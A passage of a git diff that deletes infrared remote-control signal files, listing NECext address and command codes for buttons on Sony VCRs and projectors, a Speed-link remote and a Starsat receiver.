-name: INSERT_AUDIO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 68 00 00 00 -# -name: INSERT_VIDEO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 69 00 00 00 -# -name: HIGH_SPEED_RR -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 7D 00 00 00 -# -name: HIGH_SPEED_REWIND -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 7D 00 00 00 -# -name: HI-SPEED_REWIND -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/9,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/9,-1.ir deleted file mode 100644 index 74bcca805..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/9,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SUPERIMPOSE -type: parsed -protocol: NECext -address: 09 00 00 00 -command: 0D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 09 00 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 09 00 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 09 00 00 00 -command: 1A 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 09 00 00 00 -command: 1B 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 09 00 00 00 -command: 1C 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 09 00 00 00 -command: 1E 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 09 00 00 00 -command: 26 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 09 00 00 00 -command: 27 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Video Projector/26,42.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Video Projector/26,42.ir deleted file mode 100644 index faa32d34f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Video Projector/26,42.ir +++ /dev/null @@ -1,368 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEYSTONE -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 3A 00 00 00 -# -name: MS_SLIDE -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 3C 00 00 00 -# -name: STANDARD -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 3E 00 00 00 -# -name: SIDE_SHOT_- -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 3F 00 00 00 -# -name: SIDE_SHOT_+ -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 3F 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 50 00 00 00 -# -name: VID_MEM_OFF -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 50 00 00 00 -# -name: VIDEO_MEMORY_-_OFF -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 50 00 00 00 -# -name: MEM_1 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 51 00 00 00 -# -name: VIDEO_MEMORY_1 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 51 00 00 00 -# -name: DYNAMIC -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 51 00 00 00 -# -name: VIDEO_MEM_1 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 51 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 51 00 00 00 -# -name: VIDEO_MEMORY_-_1 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 51 00 00 00 -# -name: MEM_2 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 52 00 00 00 -# -name: VIDEO_MEMORY_2 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 52 00 00 00 -# -name: VIDEO_MEM_2 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 52 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 52 00 00 00 -# -name: VIDEO_MEMORY_-_2 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 52 00 00 00 -# -name: MEM_3 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 53 00 00 00 -# -name: VIDEO_MEMORY_3 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 53 00 00 00 -# -name: CINEMA -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 53 00 00 00 -# -name: VIDEO_MEM_3 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 53 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 53 00 00 00 -# -name: VIDEO_MEMORY_-_3 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 53 00 00 00 -# -name: MEM_4 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 54 00 00 00 -# -name: VIDEO_MEMORY_4 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 54 00 00 00 -# -name: USER_1 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 54 00 00 00 -# -name: PIC_MODE_1 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 54 00 00 00 -# -name: VIDEO_MEM_4 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 54 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 54 00 00 00 -# -name: VIDEO_MEMORY_-_4 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 54 00 00 00 -# -name: MEM_5 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 55 00 00 00 -# -name: VIDEO_MEMORY_5 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 55 00 00 00 -# -name: USER2 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 55 00 00 00 -# -name: PIC_MODE_2 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 55 00 00 00 -# -name: VIDEO_MEM_5 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 55 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 55 00 00 00 -# -name: VIDEO_MEMORY_-_5 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 55 00 00 00 -# -name: MEM_6 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 56 00 00 00 -# -name: VIDEO_MEMORY_6 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 56 00 00 00 -# -name: USER3 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 56 00 00 00 -# -name: PIC_MODE_3 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 56 00 00 00 -# -name: VIDEO_MEM_6 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 56 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 56 00 00 00 -# -name: VIDEO_MEMORY_-_6 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 56 00 00 00 -# -name: VIDEO_MEMORY_7 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 57 00 00 00 -# -name: VIDEO_MEMORY_8 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 58 00 00 00 -# -name: VIDEO_MEMORY_9 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 59 00 00 00 -# -name: VIDEO_MEMORY_10 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 5A 00 00 00 -# -name: APA -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 60 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 66 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 67 00 00 00 -# -name: FUNTION_1 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 68 00 00 00 -# -name: FUNTION_2 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 69 00 00 00 -# -name: PLUS -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 6A 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 6A 00 00 00 -# -name: MINUS -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 6B 00 00 00 -# -name: ZOOM_- -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 6B 00 00 00 -# -name: WIDE_MODE -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 6E 00 00 00 -# -name: LENS -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 78 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Video Projector/84,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Video Projector/84,-1.ir deleted file mode 100644 index 04ec7fe80..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Video Projector/84,-1.ir +++ /dev/null @@ -1,716 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SWITCHER_1 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0A 00 00 00 -# -name: SW_1 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0A 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0A 00 00 00 -# -name: SWITCHER_2 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0B 00 00 00 -# -name: SW_2 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0B 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0B 00 00 00 -# -name: SWITCHER_3 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0C 00 00 00 -# -name: SW_3 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0C 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0C 00 00 00 -# -name: SWITCHER_4 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0D 00 00 00 -# -name: SW_4 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0D 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0D 00 00 00 -# -name: SWITCHER_5 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0E 00 00 00 -# -name: SW_5 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0E 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0E 00 00 00 -# -name: SWITCHER_6 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0F 00 00 00 -# -name: SW_6 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0F 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 0F 00 00 00 -# -name: SWITCHER_7 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 10 00 00 00 -# -name: SW_7 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 10 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 10 00 00 00 -# -name: SWITCHER_8 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 11 00 00 00 -# -name: SW_8 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 11 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 12 00 00 00 -# -name: VOLUME+ -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 13 00 00 00 -# -name: VOLUME- -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 13 00 00 00 -# -name: AUDIO_MUTE -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 14 00 00 00 -# -name: AUDIO_MUTING -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 15 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 18 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 19 00 00 00 -# -name: COLOR_+ -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 1A 00 00 00 -# -name: COLOR_- -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 1B 00 00 00 -# -name: PICTURE_- -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 1D 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 1E 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 1F 00 00 00 -# -name: TINT_+ -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 20 00 00 00 -# -name: HUE_+ -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 20 00 00 00 -# -name: TINT_- -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 21 00 00 00 -# -name: HUE_- -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 21 00 00 00 -# -name: SHARPNESS_+ -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 22 00 00 00 -# -name: SHARPNESS_- -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 23 00 00 00 -# -name: PICTURE_MUTE -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 24 00 00 00 -# -name: PIC -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 24 00 00 00 -# -name: PIC-MUTING -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 24 00 00 00 -# -name: VIDEO_MUTING -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 24 00 00 00 -# -name: PICTURE_MUTING -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 24 00 00 00 -# -name: STATUS_ON -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 25 00 00 00 -# -name: STATUS_OFF -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 26 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 29 00 00 00 -# -name: PAGE -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 29 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2A 00 00 00 -# -name: VIDEO_INPUT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2A 00 00 00 -# -name: INPUT:VIDEO -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2A 00 00 00 -# -name: INPUT_-_VIDEO -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2A 00 00 00 -# -name: INPUT_A -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2B 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2B 00 00 00 -# -name: INPUT:A -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2B 00 00 00 -# -name: INPUT_-_A -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2B 00 00 00 -# -name: INPUT_B -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2C 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2C 00 00 00 -# -name: INPUT:B -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2C 00 00 00 -# -name: INPUT_-_B -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2E 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2F 00 00 00 -# -name: STANDBY_POWER_OFF -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2F 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2F 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2F 00 00 00 -# -name: POSITION_+ -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 31 00 00 00 -# -name: POSITION_- -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 32 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 33 00 00 00 -# -name: RT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 33 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 33 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 33 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 34 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 34 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 34 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 35 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 35 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 35 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 36 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 36 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 36 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 36 00 00 00 -# -name: RGB_SIZE -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 47 00 00 00 -# -name: RGB_SHIFT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 48 00 00 00 -# -name: CENTER_RED -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 49 00 00 00 -# -name: CENTER_BLUE -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 4B 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 57 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 57 00 00 00 -# -name: BLANKING -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 58 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 5A 00 00 00 -# -name: LT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 5A 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 5E 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 5F 00 00 00 -# -name: SVIDEO -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 5F 00 00 00 -# -name: VIDEO_SELECT_(VID/S) -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 5F 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 5F 00 00 00 -# -name: INPUT:S_VIDEO -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 5F 00 00 00 -# -name: S_VIDEO -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 5F 00 00 00 -# -name: INPUT_-_SVIDEO -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 5F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 60 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 61 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 62 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 63 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 64 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 65 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 66 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 67 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 68 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 69 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 6F 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 70 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 7B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir deleted file mode 100644 index fb191667e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: PC_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: MORE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: RTV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: WINDOWS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: MSN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir deleted file mode 100644 index 33309335f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0B 00 00 00 -# -name: >^ -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0C 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0E 00 00 00 -# -name: TV/SAT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 10 00 00 00 -# -name: Ritgh -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 11 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 12 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 13 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 15 00 00 00 -# -name: Read -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 16 00 00 00 -# -name: Sabz -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 17 00 00 00 -# -name: Yellowe -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 18 00 00 00 -# -name: Bule -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 19 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1A 00 00 00 -# -name: LAN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 